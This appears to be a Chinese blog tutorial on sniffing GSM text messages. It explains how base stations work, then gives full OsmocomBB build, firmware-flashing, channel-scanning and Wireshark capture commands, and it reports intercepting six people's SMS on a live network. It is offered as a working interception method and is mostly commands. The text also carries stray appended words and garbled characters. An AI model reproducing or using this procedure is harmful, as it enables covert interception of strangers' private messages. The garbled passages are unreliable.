GSM 短信嗅探原理

GSM初探

你們應該都據說過HTTP協議,又據說WEB服務,每個服務的背後都有一個協議在工做着。所謂的沒有規矩不成方圓,說的就是這個道理,每個細小的部分,都已經規定好,只要按照協議執行,就不會出現問題。一樣,GSM手機能夠撥打電話,也就離不開相關協議的支持,這裏就來介紹GSM協議。全球移動通訊系統Global System for Mobile Communication就是衆所周知的GSM,是當前應用最爲普遍的移動電話標準。全球超過200個國家和地區超過10億人正在使用GSM電話。css

GSM是一個蜂窩網絡,蜂窩網絡的緣由,是由於一個數學結論,即以相同半徑的圓形覆蓋平面, 當圓心處於正六邊形網格的各正六邊形中心,也就是當圓心處於正三角網格的格點時所用圓的數量最少。做爲運營商,爲了考慮成本,不會建設大量多餘的基站,那麼採用蜂窩網絡便可覆蓋區域又能夠減小基站數量,這不是很好麼?是的,這很好。下面我們就一塊聊聊基站。git

 

走近基站

首先,看一張圖片,這就是基站。你們確定都見過,可是有沒有注意過,鐵塔的下面總會有一間小房子,那房子裏面是什麼呢?請看圖。其實就是一堆機器。裏面究竟有哪些東西呢?組要組成有基站子系統(簡稱基站BS)由基站收發臺(BTS)和基站控制器(BSC)組成;網絡子系 統由移動交換中心(MSC)和操做維護中心(OMC)以及原地位置寄存器(HLR)、訪問 位置寄存器(VLR)、鑑權中心(AUC)和設備標誌寄存器(EIR)等組成。vim

 

探索基站與手機通訊方式

這個話題,我們就在一塊兒聊一聊基站與手機是如何通訊的,這裏只做一個大概的介紹,由於這裏面的水很深,本身認識也不是特別的清楚。bash

首先說明一些常見的狀況,爲何手機卡分屬各地呢?爲何市話便宜,長途貴?爲何要收取漫遊費?當手機開機搜索信號時都與基站交換了什麼呢?手機關機的時候又與基站交換了什麼呢?下面,我給你們揭開迷霧。網絡

在基站小節中,我們分析基站了組成,其中有一個原地位置寄存器(HLR),HLR裏面存放着本地的手機號信息,而訪問 位置寄存器(VLR)存放着外地來的手機號信息。經過判斷手機號的歸屬地,就能夠區分本地和外地手機了,這就是區分歸屬地的緣由了。iphone

當你撥打電話的時候,首先會給基站請求,基站判斷出這個手機號的所在的基站,而後與基站、目標手機創建鏈接,對於目標在本地,數據只在本地的基站系統中傳輸,至關於計算機中的局域網,故資費便宜,當目標手機不在本地時,就須要鏈接外地的基站,傳輸距離長,過程相對複雜,故資費較高。flex

當本身身處外地的時候,有沒有想過,別人給本身打電話的時候,基站是如何尋找到本身的?其實,本身的手機時刻都鏈接的基站,當初在外地的時候,所連基站會在訪問 位置寄存器(VLR)中註冊一下,並向原籍基站進行請求相關信息,並告訴對方本身的位置,這樣原籍的基站就知道本身的位置。此時,別人撥打本身的電話會先經過本地的基站-->當前基站--〉手機,故須要額外的漫遊費。本身撥打當地的市話,與本地撥打併無太大的區別。ui

基站會不停的對外廣播本身的信號及相關信息,手機只要搜索信號,選擇相應的鏈接上去便可,在鏈接過程會作一些信息的註冊,好比Imel,手機號等。當本身的手機正常關機時,也會給基站發送註銷信息,這樣別人撥打你的電話,就會提示已關機。假如本身的手機忽然斷電,會意外的斷開與基站的鏈接,基站那面沒有完成正常的註銷操做,這樣別人撥打你的電話,就會提示暫時沒法接通或者不在服務區。es5

說到這裏,面對一個大基站,基站自己並不會對特定的方向的信號與你通訊,而是以向四周廣播的形式,發送信號。那麼就能夠說,咱們的手機實際上也是能夠接收到其餘手機的信號,對的,就是這樣,這就是無線,不像有線有一個專門的線路,只要把收到的信號給解密了,就能夠嗅探別人的短信、語音通話。甚至能夠假冒其餘人的身份通話(固然,前提是能夠突破目前的鑑權手段)。到這裏,關於基站和手機的故事就到這裏了。下面給你們介紹一下著名破解GSM的項目OsmocomBB。spa

 

 

OsmocomBB項目介紹

以前說過神奇的OsmocomBB項目,這一節就作簡要的介紹。

OsmocomBB是國外一個開源項目,是GSM協議棧(Protocols stack)的開源實現,全稱是Open source mobile communication Baseband.目的是要實現手機端從物理層(layer1)到layer3的三層實現。

對於這一方面,國內的中文資料很好,而且是一個很敏感的話題,即便在烏雲裏面報告,運營商也是置之不理。短信內容的明文傳輸已經不是什麼祕密了。

好了,儘管不是特別的瞭解這個項目,可是仍是能夠從宏觀的角度進行一個解釋,前面說了,服務和協議都是相輔相成的。只要能夠搞懂完整的GSM通訊協議,我們就能夠從物理層捕獲相關信號,經過對GSM的破解,能夠對信號進行解密,從而得到原文。

如今,我們不須要深刻了解GSM的工做原理,利用這個開源項目,進行簡單的配置,我們就能夠嗅探了!下一節,我們具體談一談實驗的配置。重點在後面。這裏對於初學的我,先暫時不深究了。

 

實驗環境配置

4.1硬件清單

一、須要一個兼容的平臺(即硬件能夠兼容交叉編譯環境,主要爲手機):

這裏官方推薦了幾個類型的手機

  Designed + Manufactured by Compal, OEM by Motorola

  MotorolaC115/C117 (E87)

  MotorolaC123/C121/C118 (E88) -- our primary target

  MotorolaC140/C139 (E86)

  MotorolaC155 (E99) -- our secondary target

  MotorolaV171 (E68/E69)

  SonyEricssonJ100i

  Designed by Pirelli/Foxconn?, manufactured by Foxconn

  Pirelli DP-L10

Designed by Openmoko, manufactured by FIC

Neo 1973 (GTA01)

OpenMoko - Neo Freerunner (GTA02)

A list of potential targets that may be worth adding support for in the future is available at PotentialCalypsoTargets.

MTK based

Information specific to Mediatek phones that we support.

Designed + Manufactured by Bluelans

SciphoneDreamG2 (MT6235 based)

這是官網的推薦,這裏咱們採用的是MTC118,淘寶的價格也就幾十塊錢。

二、還須要USB串口轉換模塊

 

上圖是官網的推薦型號,這裏咱們採用FT232,儘管貴了點,可是比較穩定,效果好。

下面,上一圖,就是所有硬件了。

 

 

軟件部分

 

環境:kali Linux(amd*64)系統

 

複製代碼

一、vim /etc/apt/sources.list
二、
deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali/updates main non-free      //把這三行添加進去,wq保存
三、apt-get update
四、aptitude install libtool shtool autoconf git-core pkg-config make gcc
五、
apt-get install build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 \libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev
六、wget -c http://bb.osmocom.org/trac/raw-attachment/wiki/GnuArmToolchain/gnu-arm-build.2.sh
七、chmod +x gnu-arm-build.2.sh
八、mkdir build install src
九、cd src/
十、
wget http://ftp.gnu.org/gnu/gcc/gcc-4.5.2/gcc-4.5.2.tar.bz2
wget  http://ftp.gnu.org/gnu/binutils/binutils-2.21.1a.tar.bz2
wget ftp://sources.redhat.com/pub/newlib/newlib-1.19.0.tar.gz
十一、cd ..
十二、./gnu-arm-build.2.sh
1三、echo "export PATH=\$PATH:/root/install/bin">>/root/.bashrc
1四、source /root/.bashrc
1五、cd ~
1六、git clone git://git.osmocom.org/libosmocore.git
1七、cd libosmocore/
1八、autoreconf -i
1九、./configure
20、make
2一、make install
2二、cd ..
2三、.ldconfig
2四、cd ..
2五、git clone git://git.osmocom.org/osmocom-bb.git
2六、cd ~/osmocom-bb
2七、git checkout --track origin/luca/gsmmap
28\cd src
29\make

複製代碼

 

在環境配置過程當中,總會碰見其餘奇葩的問題,可是幸運的是,我一遍就成功了,你們必定要碰見問題,去解決問題。

開始嗅探

假設咱們已經編譯好環境了,下面要作的就是,

第一步:插上硬件,在kali終端輸入lsmod | grep usb ,如圖:

 

若是出現的話,證實硬件鏈接成功。

第二步:

刷固件,就是把程序燒寫到手機裏面,

輸入命令:

./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin

而後按一下開機鍵,就開始刷了,接下來會出現過程代碼。

大概15秒後,完成,手機屏幕會出現以下提示,說明刷固件成功。

 

 

第三步:

新建一個終端,輸入命令:

 

cd ~/osmocom-bb/src/host/layer23/src/misc./cell_log -O

 

這個命令是掃描可用信道,會列出相關信道的信息

 

其中出現的ARFCN就是信道編號。

第四步:

新建一個終端,輸入命令:

 

./ccch_scan -i 127.0.0.1 -a 655

 

其中最後一個數字表明ARFCN號,就是根據上一個終端得出的結果。這個命令表明在信道655上嗅探。

 

第五步:

新開一個終端,輸入命令:

 

wireshark -k -i lo -f 'port 4729'

 

而且wireshark的過濾器選擇gsm_sms,就可靜靜的等待一下。結果如圖:

 

 

 

今天的運氣仍是比較好的,短短5分鐘就嗅探到了6條短信。若是嗅探不到的話,就須要換個信道試一試。